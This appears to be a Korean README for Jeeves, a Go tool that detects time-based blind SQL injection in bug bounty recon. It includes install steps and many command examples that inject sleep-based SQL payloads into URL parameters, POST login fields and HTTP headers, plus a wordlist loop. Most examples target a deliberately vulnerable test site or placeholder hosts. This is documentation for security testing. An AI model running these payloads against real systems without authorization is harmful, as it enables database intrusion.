
리콘 및 버그 바운티를 위한 시간 기반 블라인드 SQL 인젝션 탐지 도구입니다. 단일 URL 또는 목록을 허용하며, 사용자 정의 헤더, 프록시 및 POST 데이터를 지원하여 자동화된 취약점 스캐닝을 수행합니다.
Jeeves 설치 💀
$ go install github.com/ferreiraklet/Jeeves@latest
OR
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
리콘 과정에서 SQL 인젝션에 취약할 수 있는 엔드포인트를 발견할 수 있습니다. 예: https://redacted.com/index.php?id=1
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10
--payload-time에는 페이로드에 명시된 시간을 사용해야 합니다.
cat targets | jeeves --payload-time 5
구문에 주의하세요! 동일해야 합니다 =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
프록시 + 헤더 =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
POST 요청을 통해 데이터 전송 (로그인 폼 등)
구문에 주의하세요! 동일해야 합니다! ->
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
Jeeves를 gau, gauplus, waybackurls, qsreplace, bhedak과 같은 다른 도구와 함께 사용하여 그 강점을 극대화할 수 있습니다.
명령줄 플래그:
Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
SQL 페이로드 워드리스트와 함께 사용
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done
헤더에서 테스트
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5
참고:
프로그램에 오류가 있으면 즉시 알려주세요.
Nilo - URL의 상태가 200인지 확인합니다.
Blisqy - 헤더 시간 기반 SQLI